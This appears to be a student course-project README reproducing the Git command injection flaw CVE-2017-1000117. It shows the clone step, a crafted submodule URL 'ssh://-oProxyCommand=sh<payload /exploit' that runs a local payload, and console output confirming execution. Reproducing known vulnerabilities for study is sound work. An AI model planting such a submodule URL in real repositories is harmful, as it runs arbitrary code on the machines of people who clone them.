CVE-2017-1000117

Project Introduction

• One of the selected topics for the cybersecurity course project
• Reproduction of CVE-2017-1000117 vulnerability (PoC + Exploit)
• Git + SSH

Vulnerability Introduction:

• Vulnerability Name: Git command injection vulnerability
• CNNVD ID: CNNVD-201708-670
• Hazard Level: Medium
• CVE ID: CVE-2017-1000117
• Vulnerability Type: Command injection
• Publication Date: 2017-08-16
• Threat Type: Remote
• Updated Date: 2017-10-17
• Vendor: git-scm
• Source: Trevor Jay
• Description: Git is a free and open-source distributed version control system developed by Linus Torvalds. A command injection vulnerability exists in Git versions prior to 2.7.5. Remote attackers can exploit this vulnerability by using a specially crafted 'ssh://...' URL to execute arbitrary programs that have already exited on the device.

Exploitation Process

• Install a Git tool within the vulnerable version range (Git for Linux), Git for Windows)
• I chose version git-2.12.1 (tested and working on both Linux and Windows) (the download links for version 2.12.1 on Linux and Windows are git-2.12.1.tar.gz and Git-2.12.1-64-bit.tar.bz2 respectively)
• After installing Git, clone the project including submodules directly: git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git

$ git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git
Cloning into 'CVE-2017-1000117'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 8 (delta 0), pack-reused 0
Unpacking objects: 100% (14/14), done.
Submodule 'exploit' (ssh://-oProxyCommand=sh<payload /exploit) registered for path 'exploit'
Cloning into 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit'...
Pseudo-terminal will not be allocated because stdin is not a terminal.


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '&lt;  `.___\_&lt;|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=sh<payload /exploit' into submodule path 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit' failed
Failed to clone 'exploit'. Retry scheduled

• When you see the Buddha image appear, the vulnerability has been successfully reproduced, and the malicious code in payload has been executed.

---

Updated 2019/06/21 10:30

• While writing the report, I suddenly noticed that this vulnerability is very similar to CVE-2018-17456. It’s just phrased differently; both fundamentally fail to correctly parse the "-" symbol, mistakenly interpreting it as a parameter, leading to arbitrary code execution.
• For exploitation of CVE-2018-17456, refer to this blog post: Analysis of Git Submodule Vulnerability (CVE-2018-17456)

---

Updated 2019/06/21 19:39

• While searching for related information, I found another very similar vulnerability: CVE-2018-11235
• Here are some reference articles for CVE-2018-11235: CVE-2018-11235 git RCE, PoC exploit for CVE-2018-11235, Detailed Analysis of Git Remote Code Execution Vulnerability (CVE-2018-11235)